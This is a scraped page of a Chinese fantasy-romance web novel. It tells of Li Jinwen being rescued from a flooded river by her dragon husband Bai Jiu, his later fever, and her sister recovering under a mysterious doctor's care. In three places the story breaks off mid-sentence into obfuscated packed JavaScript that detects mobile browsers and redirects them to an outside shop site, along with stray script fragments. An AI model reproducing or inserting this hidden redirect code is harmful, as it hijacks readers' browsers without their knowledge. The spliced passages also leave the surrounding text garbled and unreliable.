一道闪电劈空而下,随后,沉闷的雷声自远方的山顶滚滚而来。李锦闻停下脚步,从褡裢里掏出白九事先给她准备的水文衫,套在身上,才迈进桑林。 大雨将至,此时虽不过酉初,天却黑得如戌时一般。桑林里草木繁盛,周遭更显黑沉。 这样晦暗的环境下,李锦闻甚至觉得自己要辨不清方向。她循着平日里养成的习惯往前走,却感觉周遭的一切越来越陌生。 李锦闻并没有在桑林里打转,她分明和往日走了一样长的时间,可眼前却出现了一条河流。 然而她回家的路上并没有这样宽阔的一条河。 狂风呼啸,李锦闻下意识抬手遮住面庞,可那风却十分刁钻地吹掉了她身上的水文衫。 她伸手要抓,可人力怎能与风较量。李锦闻只碰到了一边一角,尚未来得及抓握,那水文衫就被卷向了高空。 愈苍山顶的天空被雷电豁开一道裂口,豆大的雨点砸下来。 ———————— 人族脆弱,怕水,会在水中溺亡。 ——《人族豢养手记》 11. 滂沱大雨 白九这几日都会在李锦闻去书院之后,回到他长大的那个地方。其实认真算起来,他已经有七八年没有好好在那里住过了。 这座岛本名镜屿,一百多年来,龙族世代居住于此。每一任执渊成婚后,都会带着自己的人族伴侣定居于此。 他年幼时,镜屿上不止他们一家人,还有许多聚集而来的龙族。只可惜,他的父亲去世后,母亲的疯病比以往任何一任执渊都严重,这座岛生生被毁得衰败不堪,聚集在此的龙族避而远之。 再后来,母亲终于熬死了自己,白九游历天下,剩下的那些龙族也就四散而去,镜屿彻底变成了一座荒岛。 这些日子,白九按照李锦闻的喜好,将镜屿好好整顿了一番,有几位年迈的龙族追随他的踪迹,回到了这里。 他很小的时候,父母偶尔会争吵,但二人又都对他很疼爱,谁都不会因夫妻争吵而迁怒于孩子。 但小孩子终究害怕父母不和,太过年幼的孩子不能理解为何一向慈爱的父母,在面对彼此时会恶语相向,甚至说出那么伤人的话。 每每这个时候,他就独自从家里跑出来,岛上年长的龙族会陪着他,这是他年幼时获得过的很大一部分温情的来源。 这些龙是看着他长大的,分别数年,再次回到镜屿上,白九已经长大成家,这些长辈却垂垂老矣。 他偶尔会听他们说说话,但更多的时候,是他自己在说。 这天,白九将院子里的花枝修剪完成后,又在山后开垦了一片菜地,打算等入了秋种白菜用。他忙活完的时候,日头已经偏西。 李锦闻今早离家时说,她下午要与储悦舒读书,回家的时间会晚一点。白九想着她不在家,自己回去也无事,便在水里捕了些鱼虾。 岛上的气候与外界不同,此时太阳高悬,白九蹲在水边,看着投在水下的倒影。 忽然,水面无风起皱,随后,水上泛出数点凸起,一圈圈小波纹自凸起处向外扩散,有的地方甚至开始冒水泡。 镜屿周遭的水域,是和外界沟通的唯一出口。所以外界的变化,也能通过这片水域观察出来。 水面呈现如此剧烈的波动,只能说明,外界下暴雨了! 白九猝然起身,手中的渔网撒了一地,方才捕上来的鱼虾趁乱尽数跳回水里,白九早顾不得什么鱼虾了,一个猛子,也扎进水里。 他第一次觉得从镜屿游回洵河有这么远。明明平日里不到半刻就能走一个来回,可今日不知怎么回事,水流的阻力非常大,他尝试了数次才从水底探出头。 洵河河面上,已经被狂风卷起了浪花。 白九心里升起一股极度的不安感。如此猛烈的天气,对于人族来说,简直寸步难行。即使按时间算,李锦闻这个时候还在书院,不会一个人踏入滂沱大雨中;即使他事先给李锦闻送的水文衫可以保她在水中不沉溺,可白九就是感到了前所未有的恐慌。 那股恐慌感迅速将他席卷,李锦闻恐怕出事了。 这场暴雨来得太突然,也太蹊跷,白九身为龙族,至少可以通过感应预测出两日之内的降雨,可这场雨竟不在他的预料之内。 洵河上空的天黑沉无比,岸边的草木无助地东摇西晃,大雨瓢泼,浇在人脸上,根本睁不开眼。白九迅速游上岸,撑着河边的沙地站起来,一阵风裹着雨珠子,推着他往前走。 如此大的风,李锦闻那么轻,恐怕会被吹走。 白九艰难地往前走,周身泛起一阵恶寒。 他上岸之后,被不知哪里来的一股力量牵引着,沿洵河一路向愈苍山山麓走去。 那里是河流的上游。 他走了有一刻钟,风越来越大,可洵河上游的水却越来越平静。雨势不减,白九最不怕的就是水,大雨奈何不了他,身上淋的雨水越多,他的步伐反而越稳。 愈苍山近在咫尺,一道雷电拦腰劈断了半山腰处的大树,狰狞的断齿裸露在大雨中,被闪电照得凄白。 白九终于看见了李锦闻。 她漂浮在洵河的水中,雨点不断砸下来,在她身边的河面上溅起涟漪。 她一动不动,没有挣扎。 白九踉跄着踏入河水,由于脚步过于虚浮,被水下的暗流拌了个跟头。 一条龙平生头一回,呛了一口水。 他迅速爬起来,向水中央游去。 洵河的水好冷,李锦闻从小就体弱,在冰凉的河水里泡了这么久,恐怕要受寒。 最后一点距离,白九几乎是扑上去的。李锦闻的身体很凉,浑身上下都湿透了。 平日里蓬松柔软的长发,被水冲散,铺在河面上。白九将她抱出水面时,长发瞬间收缩成一绺,往下淌着水。 李锦闻身上没有穿水文衫,白九此时太焦急了,根本来没顾上细想她孑然一身是如何浮在水面上却没有沉溺的。 白九伸出的手指在抖,探向怀中人的鼻尖。 还有呼吸,但已经微弱得几不可察。 白九抱着人,快速上岸。雨还在下,雷声滚滚,他回头望了一眼雨中的愈苍山,抱着李锦闻往家的方向大步而去。 李锦闻陷入了一场沉沉的梦境之中。 起初,梦里很冷。京城的冬季每年总有那么两三场大雪,李锦闻小时候最喜欢下雪天。 那一年初雪来得晚,朝臣们求神拜佛,年迈的成帝携一众皇子在太庙里跪了三天三夜。 时至正月十三,大乾才迎来了第一场鹅毛大雪。 这场大雪的到来,解除了满朝文武对来年饥荒的焦虑。一时间,天下同庆。 年幼的李锦闻也和天下人一样高兴,彼时的她尚不知道何为民生,只看见硕大的雪片子洋洋洒洒飘落,东宫的地面上很快覆盖了一层厚厚的雪。 李锦闻所兴奋的不过是又可以玩雪了。 她叫上阿姐,一起在东宫那宽敞漂亮的庭院里堆雪人。身为皇太孙的母亲温柔而耐心,陪她们滚了一个巨大的雪球。 在李锦闻的梦里,那颗雪球比小小的她还要高。 母亲帮她们把两个雪球堆在一起,李锦闻手里攥着两颗琥珀,安在雪人圆滚滚的头上,充当眼睛,又拿了一串上好的檀木手串,嵌在眼睛下面,雪人就拥有了一张咧开的嘴。 小小的李锦闻叉着腰,脆生生道:“一会儿祖父回来,肯定会夸我们堆的雪人漂亮。” 李舜齐长她几岁,道:“阿锦,你把祖父最宝贝的手串安在雪人身上,看祖父不打你手心!” “阿姐胡说!祖父不是夫子,从来不打阿锦的手心!” 母亲在一旁制止姐妹二人的争吵:“好啦,你们两个不许吵了!淋了这么久的雪,该回殿里了。” 母亲一手牵着一个,领着李锦闻和李舜齐进屋。 “如今大雪已经盼来,想必你们祖父就要回来了。”母亲一边给李锦闻脱下沾了雪花的斗篷,一边说。 雪越下越大,可母女三人迟迟没有等到太子回家。 李锦闻只记得,她吃完了一碟子梅花糕,瞧见院子里覆雪的红梅被压断了花枝,在厚厚的雪地里摔了个原形毕露。 一个侍卫慌慌张张地跑进东宫,不知和母亲说了句什么。母亲瞬间焦躁不安,当即从祖父的书房里取来兵符,随后又留了一笔书信,把两个年幼的孩子藏进暗室里,最后亲吻了一遍她们的额头,离开了。 李锦闻再次见到母亲时,向来温暖的怀抱,比外头的积雪还要冷。 那一日的东宫,积雪足以没过李锦闻的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李锦闻的手腕如此纤细,她的脖颈那样脆弱,好像稍微用力,就会被弄坏。她的生命如此虚弱,白九看见她漂在洵河中央时,好像自己也溺亡了一次。 他开始后悔,为何今日没有早点回来,为何自己没有预料到今日会下雨,为何他一定要在今日回镜屿。 如果他没有那样做,如果他安安稳稳在家等着娘子,娘子就不会在回家的路上遇到大雨,也不会因为迷路而被卷入洵河。 他应该去接她的,他这个夫君不够称职,明知雨季要来了,明知愈苍山的雨季最为危险,也最为不讲道理,可偏偏还是让娘子一个人陷在大雨里。 他甚至开始担忧,是不是自己身上的诅咒牵连了娘子。自先祖受到天罚以来,龙族世世代代的执渊都没有好下场。他们即便找到了人族作为伴侣,也难以善终。 因为龙族疯癫早亡的诅咒,白九曾经恨透了那降罚的神明。可是如今,李锦闻失去知觉躺在这里,他竟然生出了求问神明的心思。 如果上天要降罚,不如冲他一个人来。何必迂回地折磨他的娘子,以此折磨他变成一个疯子。 他将额头抵在李锦闻蜷起的指背上,万般无助。 不知过了多久,梦里那场大火将李锦闻烧得口干舌燥,她终于再次聚拢起纷杂的意识。李锦闻感觉身上很热,她都要被蒸熟了,尤其是手指指背上,像有一块烙铁在烧。 朦胧间,她缓缓睁开眼睛,第一反应是怀疑自己是不是淋雨之后发热了。 可发热应该是脑袋先烧起来啊,她怎么是先烧手指呢…… 喉咙里太干了,李锦闻尝试说话,却只能发出一声干涩的叹息。 白九闻声猛地抬起头,看见她醒了,眼睛里瞬间闪出亮光。 12. 我会死的 屋里太热了,李锦闻感觉自己的嗓子里含了无数颗小沙粒,她咳了半天,才勉强发出一个音节。 “水……” 白九见她醒了,光顾着高兴,傻乎乎地抱着她不放手,嘴里还一直絮絮叨叨的。李锦闻被他勒得快要喘不上气来,却并没有立即推开他,而是听着白九倾诉自己的担忧。 “都是我不好,我应该去接你的,我要是早点知道下雨就好了……娘子泡在河里的时候,我真吓坏了……” 白九满腹担忧,一只手下意识抚摸李锦闻已经烘干了的长发,另一只手扣着怀中人纤细的手腕。 “好了……先别哭了,我这不是没事?”李锦闻很是无奈,她现在喉咙干的要命,出个声都感觉整个胸腔火烧火燎的,却还要强撑着说这么多话来哄人。 白九还在后怕,仿佛听不进去她的安慰,李锦闻只得换了一种策略:“九郎……我有点喘不上气。” 她出声虚弱,仿佛下一瞬真的就要断气了似的。 白九果然听话地松开她,两手扶着她的肩膀,一脸关切:“娘子哪里不舒服?” 李锦闻实在不想多说话了,遂言简意赅道:“我渴了。” 白九这才反应过来,李锦闻醒来后好像说了一句要水,但他太恐慌,竟没听进去。 “我这去给你倒水!” 白九起身去了外间,方才被他遮住的视线也亮堂起来。自她睁眼,白九就一句不停地和她说话,李锦闻耳朵里只能听见他的声音,所以一直忽略了房间里奇怪的沙沙声。 她环顾四周,很轻易地就发现了墙角处的火光,沙沙声也是从那里发出来的。 床帐遮挡了视线,李锦闻坐在床上,看不到那边的墙角,她缓缓挪动身子,向外探头,才看清情况—— 那里有一个火堆。 没错,夏日里,房间里生了一堆火。 怪不得一向凉爽的屋子今日如此闷热,怪不得她的喉咙火烧火燎的,怪不得她方才连做梦都是越烧越旺的大火。 白九端着茶水回来了,李锦闻一脸无奈地看向他。 进门的人没注意到她脸上一言难尽的表情,神色如常地将茶水递上。 李锦闻接过来,一饮而尽。白九很有眼力见儿,立即提着茶壶给她续上。 李锦闻咽了一口唾沫,感受了一下,还是有些干,遂将他续上的茶也喝尽了。 白九见状,心里有些自责,看来娘子真的渴坏了,而自己方才还只顾着哭哭啼啼,实在是太不体贴。 思及此,白九又倒了一杯茶,李锦闻端起来,仰头,喝下了第三盏。 她确认自己可以正常说话后,将茶盏一撂,拒绝了白九的第四盏茶。她伸手指着墙角处,质问:“为何要在房间里生火?” “娘子身上太冷了,给娘子驱寒。” 白九显然还没有意识到此举有什么问题。 着了凉就是要生火驱寒的,道理确实没错,而且娘子也醒了,说明这个方法确实好用。 “可是我要被烤化了!”李锦闻见他俊俏的面庞上满是迷茫,也没脾气,只好耐着性子解释,“夏天太热,受凉是可以通过天气暖过来的,不用生火!” 她再次强调:“而且,夏天不可以在屋子里生火。就算是冬天,也要烧炭盆,不可以直接将火架在屋子里,会走水的!” 白九今日的反应似乎格外迟钝,他茫茫然站在榻边,干巴巴地看着李锦闻。 李锦闻吩咐:“快去,把火灭了。” 白九这才有所动作,连忙放下茶壶,匆匆去院子里取了一块石板,盖灭了火,随后又将木柴和烧出来的灰烬一并清理出去。 李锦闻全程盯着,发现白九竟还知道开着火苗上方的窗户,以防寝屋里太呛。 还不算太呆。 雨还在下,李锦闻隔着窗子,看见雨点打在屋后的翠竹上。天还是暗的,此时阴天,李锦闻无法靠天色判断时辰。 白九收拾干净之后,屋里很快凉下来,李锦闻也心平气和地倚着软枕靠在床头。白九在床边坐下,牵起她的手,放在自己颊边轻蹭着。 李锦闻看他这个样子,终究是没脾气了,她只轻轻呼出一口气,心平气和道:“我知道你是担心我,但你这样做也不合适。太热了,会生痱子的,知道吗?” 白九点点头。 “你不用太自责,我自己不注意,在林子里迷了路,雨越下越大,才晕倒的。而且这个时节的雨本就没个准头,谁又能保证一点不差呢?更何况,你不是救了我吗?” 她这是在回应白九方才同她诉说的恐惧。 “保护娘子是应该的,没有尽到责任,本就是我的不对。”白九的眼圈是红的,他那原本澄澈的双眸中,此刻泛着朦胧而茫然的光,平白给他增添了几分忧郁,看上去还有几分可怜。 真是奇怪,明明出事的是她自己,可白九竟看起来比她还要害怕。 “娘子可还有其他不适?” 李锦闻莞尔,摇了摇头:“没什么不适,我现在反而感觉神清气爽。” 白九握着她的一只手,轻轻摩挲她的五指,目光一刻不肯偏移,紧紧黏在她身上。鬼使神差的,李锦闻问出了一句话: “我要是真的遭遇了不测,你会怎么办?” “我会死的。” 白九直勾勾望着她,他的回答没有丝毫犹豫,甚至称得上决绝。 窗外炸开一道雷电,昏暗的屋子里亮起一瞬冷光。 李锦闻内心一颤。 她还是头一回遇见这种情况。头一回有人跟她说,没有她就会死。 其实从理性上讲,她是不会信这种话的。可白九的回答太干脆,竟让她对自己的理性产生了一丝怀疑。 这世上怎么会有白九这样奇怪的人呢?他对她,向来用心,有时候李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468851|201366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦闻都觉得有点过头。哪怕是再恩爱的夫妻,也不会像白九一样,把自己伴侣的话当做圣旨去执行的。 “没有你我活不下去”这种誓言,在话本子里屡见不鲜,寻常得像路边蒿草一样轻贱,李锦闻从前看得多了,渐渐的也就不当真了。 她曾设想过,如果有朝一日,哪个男人握着她的手,信誓旦旦地许下这种诺言,她一定可以淡定且从容地一笑而过。也许会说几句漂亮话,也许会开个玩笑,总之不会为其动容,更不会为之烦忧。 可此时此刻,白九这样执着地看着她,好像誓言不再是誓言,而是下一瞬就能够付诸实际的行动。 李锦闻忽然不自在了。 太浓烈的爱意,她接受不了。李锦闻从来没想过日后和白九要怎样。在她的构想中,夫妇之间可以日久生情,但也能好聚好散。 十八年前,母亲费尽心思,才保住她和阿姐的命,所以李锦闻尽管体弱,也一直有好好照顾自己,认真活着;这么多年来,先生和老师苦心教养她,为了帮她和阿姐出宫,甚至永远留在了高耸的宫墙之内,所以李锦闻一刻不敢忘记追寻龙骨的踪迹。 阿姐从小保护她,如今这世上只有她们两个亲人相依为命。阿姐一定要寻到龙骨,再回到京城,总有一天,她也会跟着阿姐回去的。 她不能给白九一生一世的承诺,也不能接受如此热烈的惜身以赴。 她最终只是笑了笑,将目光移向别处,道:“我说笑的,你别这样说,怪……吓人的。” 白九看得出她不自在了,可他不知原因。明明在他的观察里,人族都很喜欢这种誓言,而且,他说的也是实话。 李锦闻要是出事了,他会疯癫而亡。 他忽然也有点失落,感觉脑袋胀胀的,有点疼,还有点热。李锦闻不爱听这话,他便没再说下去,不知道是不是李锦闻差点出事的惊恐劲儿没过,白九感觉很累,心里透着一股莫名的难受,蔓延至四肢百胲,身体上也随之感到不适。 他低下头,轻轻贴近李锦闻的手,额头蹭着她的手背,又轻轻吻在她的指尖。 此时屋里已经彻底凉下来了,窗开着半扇,风裹挟着雨丝吹进来,枕席都变成了凉的。 李锦闻忽然发现了白九的异常。 以往,白九身上都是凉的,所以她夜里喜欢贴着他睡,很舒服。方才,屋里生了火,他们二人身上都很热,李锦闻只当是火烤的。 可是现在,她的体温已经降下来了,但白九身上依旧滚烫。方才他吻她的手,呼出来的气息,也是烫的。 “你发热了?”李锦闻伸手贴上他的额头,试探他的温度,问道。 白九抬起头,茫然地看着她,眼神已经不大清明了。 —————— 人族很脆弱,天灾、疾病都能要了命。但龙族很强健,不会生病,也不惧天灾。 ——《人族豢养手记》 13. 别不要我 滇南一带多奇山,李舜齐所在的这座宅院,算是四面环山。夜中安歇,时常能听见山中猿啼虎啸,偶尔还能隐约在窗下看见狐狸黄鼠狼之类的的小型动物穿行而过。 李舜齐伤得实在严重,胸口上的血窟窿好容易不再流血,麻沸散的药效一过,疼痛就整日整夜地折磨她。 她惜命,实在不敢乱动,只好安安静静躺在床上养伤。是以这几天里,她把附近的情况听了个遍。 此地野兽出奇得多。李舜齐重伤未愈,夜里就常做些不知根底的混梦。清晨时分,山里的寒气上来,李舜齐偶尔觉得冷,将醒不醒时,伴着野兽的各色叫声,她常有一种幕天席地睡在深山里的错觉。 这几日,一直都是头一天那个老妇照料她。老妇依旧不爱言语,每日固定的时间给她送饭换药,进来之后该干什么干什么,一个眼神不多给,一句话也不多说。李舜齐甚至感觉不出,老妇照顾她这种全身不遂的病人时态度到底如何。 若说她冷漠,可她做事有条不紊,甚至算得上温和耐心。可若说她和善慈祥,又实在算不上多热络,很是不符合李舜齐对这个年纪老妪的印象。 她百无聊赖地躺了三四日,才再一次见到那个江湖郎中。今日她养足了精神,才开始仔细观察这个救命恩人。 男人大概有三十来岁,应是与她年纪相仿。他生得清瘦,却很高,进门时习惯性低头。屏风遮挡了大部分天光,屋里有些暗,可李舜齐依旧能看出此人皮肤白皙,五官端正。 是个当小白脸的好苗子。 青年换了屋里的熏香,走到床边,道:“听说你的伤口已经结痂了,可以试着下床走一走,不然皮肉粘连,有的疼了。” 李舜齐被他一番话唤回乱飞的杂念,点了点头,很有礼貌地道:“多谢。” 她如今躺着,对方站着,这样仰望着同人讲话,总教她觉得不舒服。于是她伸出一只手,晃了晃,询问:“麻烦先生扶我一下好吗?我想坐一会儿。” 郎中愣了一下,又马上放松了神情,反问:“这会儿又不讲男女大防了?” 李舜齐也想起来,她头一回醒来见着此人时,很是防备,拒绝他查看伤口,后来就一直是那老妇照顾她了。 她一扯唇角,道:“我应当是没讲过这种话。何况,人命关天。先生救了我的性命,医者与伤患之间,何须讲究这些虚礼?” 这位女伤患一番话说得义正言辞,若非当日她多有防备,男人还真要信了。 他毫不留情地戳破:“姑娘是发现我不是什么危险的人,才放下心来的吧?” 嘴上虽这般说,但他还是上前扶了她一把,李舜齐安安稳稳地倚着软枕坐好了。 “还未请教先生名姓。” “梁相旬。月相的相,十日一旬的旬。”男人介绍完自己的名字,随意倚靠在床尾的矮柜边,脸上挂起似有若无的笑,“姑娘如何称呼?” “我姓——齐,名顺礼。” 梁相旬闻言稍微思索一二,才问:“见贤思齐的齐?” “齐顺礼”觉得他这个问法有些奇怪,但还是点了点头。 梁相旬笑了,又问:“哪个舜?莫非是尧舜的舜?” “我一个无权无势的姑娘,哪里敢用这个字。”李舜齐偏开头,解释,“是顺从的顺。礼节的礼。” 梁相旬却盯着她,看上去格外真诚,道:“我观姑娘眉目清朗,风骨凛然,非寻常之相而有贵人之气,如何担不起这个字?” 李舜齐在他似有探究之意的注视中惊了心。 这番话听起来太像有意的试探了,可滇南一带天高皇帝远,烛宁更是音信不畅,梁相旬一个深山里的郎中,怎会用这种话试探她呢? 李舜齐摸不清他话中的底细,没有立时答话。 室内一片安静,窗外一只不知名的鸟儿飞离树梢,引得花枝一颤,落花簌簌。 梁相旬盯着她看了片刻,随后转身,低笑着走到窗边,彻底撩开垂了半扇的竹帘,主动解围:“本想夸一夸姑娘风姿卓越,没想到竟是我冒昧了。” 李舜齐扭头望向窗口,他背对着这边,望着纷飞的落花,不知在想些什么。 片刻后,他转回来,又问:“不过,滇南这等偏僻荒凉之地,姑娘怎的一人进了那深山老林之中?” 李舜齐看着他:“是啊,滇南偏僻荒凉,可先生不也独居于此?此地荒无人烟,除了野兽就是花草古树,梁先生一个郎中,住在这里,有病患么?” 梁相旬又笑了,李舜齐发现此人真的很爱笑,不是那种温和好相与的笑,而是一种常带着意味不明的笑意。 他缓缓走近,配上那副笑脸,看起来十分不怀好意:“实不相瞒,在下是个兽医。齐姑娘是我医治的第三个人,上一个已经归西了。” 李舜齐:“……那还有一个呢?” 梁相旬:“是我自己。当年也差点没命,不过运气好,被人救下了。” 李舜齐:“……” 这人前几日说头一回遇见她这样的伤患,能救回来已是祖宗显灵,原来是这么个显灵法。 李舜齐勉强扯出一个笑容:“真是祖宗显灵。” 梁相旬揭过这茬,嘱咐道:“你这伤还需静养,若有什么需要的,只管说就好。” 李舜齐歪头看着他:“我应该同说呢?” “可以同照顾你的人说。” “可是已经五日了,她从来没搭理过我。”若非她迷迷糊糊在梦里听见过三人谈话,李舜齐都要怀疑日日过来的老妇人口齿有疾了。 梁相旬道:“她不喜欢与人交流,不妨碍你向她提要求。” 李舜齐无奈,又问:“你家就三口人?你们是什么关系?” 梁相旬跳过了第一个问题,只回答第二个:“他们是我的父母。” 李舜齐凭直觉否认:“不像。” 梁相旬看了她一眼,补充:“养父母。” 同是父母早亡,李舜齐自觉戳到了对方的痛处,讪讪应了一声:“哦。” “姑娘若无事,我便不打扰你休息了。”梁相旬说完,径自出门了,房中又恢复了静默。 李舜齐隔着窗子,看那人离开的背影,忽然反应过来一件事。这山中既然没有人家,自然没有家畜,那么兽医给什么东西治病呢? 总不能专给山林里的野兽治病吧? 若真如此,这梁相旬……行事还挺别具一格的。 李舜齐没过多思索,发了一会儿呆,又昏昏沉沉睡了过去。 * 愈苍山下的雨停了半日,到了晚间,又淅淅沥沥地下起来。 李锦闻坐在榻边,垂眸盯着陷入沉睡的白九。 白九身上依旧很烫,李锦闻白日里趁着雨歇,请了村里的郎中来为他看诊。郎中说白九只是淋了雨受寒,才会发起高热来。他身体底子好,养一养,很快就能痊愈。 村医家里的药材有限,开的都是再寻常不过的药,李锦闻只好先给白九吃着。她打了一盆凉水,用布巾浸了水,敷在白九额头上,给他降温。 她刚发现白九发热的时候,对方不知是不是烧得有些糊涂了,总说自己无碍,还不肯休息。是她强摁着他,佯装生气,他才肯乖乖歇下的。 李锦闻摸摸他的额头,叹了一口气。她闲来无事,此刻便坐在这里看他。 她这夫君,平日里还算活泼,虽很听话,却总是吵吵闹闹的,如今躺在榻上睡着,愈发显得乖巧。 屋里安安静静,唯有屋外雨声滴滴答答,如同一曲沉静祥和的配乐,令榻上的人都显得有几分柔顺。 天渐渐黑下来,李锦闻看不清人,便起身点上灯。昏黄的烛火自带温馨的柔光,给室内罩上一层温暖的光晕。 白九的眉眼即使凌厉,在这样的灯光下,也显得格外柔和。 李锦闻攥着他的手,轻轻在指节上揉了揉。他的手掌宽厚,时常泛着微凉,此刻却显得烫人。 他手上的热度传递到李锦闻指尖,又顺着指尖流进她的血液。夏日里贴着这么热的一只手,实在是不大舒服的。 可李锦闻没松手。 白九看起来又高又壮,没想到竟也会先她一步病倒。李锦闻想起捡他回来的那日,雨像今天一样缠绵,彼时的他也如今日一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468852|201366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发着高热,需要照顾。 明明是相似的情景,李锦闻却觉得有些地方不同了。 很多时候,李锦闻能清清楚楚感受到来自白九的感情。很浓烈,轻易就能将她感染。 她无法断定白九带给她的关心和爱护算不算爱,可她却切切实实感受到了一种别样的欢喜。 不同于阿姐的呵护,也不同于先生和嬷嬷们的关心,而是来自于一种私心与责任混杂不清的交织,这种感情似乎是无私的,可又能令她感受到一种名为欲/望的索求。 这种爱,可以接受吗?她要如何面对,又如何回应?是不是需要做出一些改变,让自己看上去不那么无动于衷? 李锦闻思绪混乱,抓着白九的手指也不自觉握紧,白九昏昏地醒过来。 “娘子……你怎么了?”白九脑袋里烧得一团乱,却还是在醒来后第一时间就察觉到她的情绪。 李锦闻眨了眨眼,将眼前蜡烛糊出的光晕眨出去。她安抚地笑了笑,柔声道:“我没事。” 白九歪头瞧着她,眸中映着跳跃的烛光,显得眼睛里莹莹的,他的眼神实在算不上清明,一眼看上去就知道发了高热。 李锦闻晃了晃他的手,问:“你现在感觉如何?头还疼吗?身上有没有不舒服?” 白九愣愣地看着她,没答话,李锦闻不明所以,倾身凑近了些,低笑着问:“怎么回事?烧傻了?” 她这话本来是开玩笑,说出来自己先笑了一下。她的夫君平日里看起来本就不太聪明,若是高烧烧傻了,那还真是无可救药了。 白九不说话,李锦闻在这个空档里,居然还有心思发挥想象。若是白九彻底傻了,倒也不难安置。 若是那样的话,他不辨好坏。等阿姐从滇南回来,她就让他乖乖在这里等她,待京中一切都处理好,她再回来找他。这样既解决了白九太粘人不同意长时间分开的问题,也能解决自己隐瞒身份的问题。 李锦闻越想越觉得痴傻的白九好像也不错。只有一个问题,容易被旁的人骗走。 当初,她不过是将他从外头捡回来,给了他一碗热汤,他就同意和自己成婚了,还心甘情愿照料自己。若是换做旁人,比她更温柔,比她更善良,白九会不会连碗热汤都不要,就高高兴兴跟人跑了? 思及此,李锦闻心里忽然有点别扭。倒不是别扭会有那么一个人比她好,毕竟这世上好女子千千万,纠结这个没什么道理。她只是想到白九有一天或许也会因为别人的小恩小惠就忘了她,因而有点恼怒。 她心里想着这些没头没尾的事,一不经意就挂了脸。白九见她问过一句话之后再不言语,就会错了意,以为她嫌他病了,忙反握住李锦闻的手,迫切地说: “娘子,我从前没有生过病的。” 李锦闻不明白他为何忽然来了这么一句,没应声。 白九翻身坐起来,两手紧紧拉着李锦闻的手腕,期期艾艾地望着她:“真的,娘子,我很快就会好的。” 李锦闻看他脸色烧得发红,却把眼睛睁得那么圆,不禁想到了毛茸茸的小狗。她一时起意,想要伸手揉一揉他的头发,欲抽手却被白九抓得更紧。 “娘子……我马上就能好起来,然后就可以继续照顾你。” 李锦闻点点头,下意识要抬手,白九又收了力道。 “别不要我,娘子。” 李锦闻低头看着白九因为用力而发白的指尖,终于理解了他的恐惧。她哭笑不得地抬了抬手,示意他:“你松开一点,握得太紧了,我有点疼。” 白九可能实在是烧得厉害,只是缓了力道,却没有松手。 李锦闻见这招不管用了,只好改变策略,温声道:“我想抱抱你也不行吗?你抓着我,我怎么抱你?” 白九果然松开了手,还慢悠悠地张开了双臂,动作看上去有些迟钝。 李锦闻失笑,轻轻环住他的脖颈,把头撂在他宽厚的肩上,凑在他耳边,轻声哄道:“不会不要九郎的。” —————— 如果在她面前显得太无能、太脆弱,会被抛弃。 ——《人族豢养手记》 14. 照料病患 白九得到了承诺,安静下来,他把头埋进李锦闻的肩窝里,一下一下地轻蹭。 她这几日一直穿着凉衫,身上也慢慢地染上了与他一样清冽的气味。 气味最能勾起人无端的遐想。 二人身上的气味渐渐趋同,仿佛相拥着陷入了一片深不见底的湖泊。湖水湛蓝清澈,由于太深太清,在表面上看起来近乎幽黑。 白九偶尔会觉得,他和李锦闻的感情就像这样的湖水。看上去干干净净,清清白白,可他身后的一切又令李锦闻这样一个普通的人族感到深邃而不愿触及。 所以他只好趁着李锦闻窥见实情之前,多求一些保证,多得到一些安抚,好像提前得到了宽恕。 “不要忧惧,九郎。我怎会抛弃你呢?人都会生病的,生病了就要好好休养。不用担心我没人照顾,你在这里,我看见你,就很好。” 李锦闻轻声细语,在这样的雨夜里,温柔地劝哄他,整座愈苍山都显得格外安谧。 起初决定与白九成婚时,她看中的确实是他能干。可是如今,相处了一段时间后,她偶尔会想,这样的小郎君,可爱又俊俏,说话漂亮且黏人,什么都不干,单养在家里,都赏心悦目。 伴侣的脆弱会加重人的痴念,白九此刻在冷寂的雨夜里,发着高热,抱着她,靠在她的身上。即便他看起来如此强壮,此刻也需要被保护。 需要保护的人,往往可以被珍藏。李锦闻甚至在想,有朝一日,阿姐的大业完成,她可以获封公主。到时候,一切杂事都不必她操心,也不用白九操劳,她就可以带着白九住在金碧辉煌的府宅里,一起无忧无虑地生活着。 那种生活好像也不错。 她哄着白九,二人听着雨声入眠,彼此都入了对方的美梦。 * 清晨,窗外鸟鸣阵阵,空谷传响。李舜齐被鸟儿唤醒,醒了片刻的神,慢慢撑着身体,自己坐起来。 伤口还是隐隐作痛,不过注意些已经不会崩裂了。她环顾一圈,只见床头的柜子上多了颗珠子。 李舜齐目光一顿。那是一颗通体透明的水球,有拳头那么大,晶莹剔透,连倒影都映不出。李舜齐尽量倾身凑近观察,那水球与她从前见过的任何水晶琉璃都不同,它就像一团定了形的水,清澈得几乎为空。 她正思量这到底为何物,却听窗边“当”地一声,一只狸花猫跃进屋来,撞掉了窗撑杆。窗扇应声而落,“啪”地拍在窗框上,好一个叮叮咣咣的大阵仗。 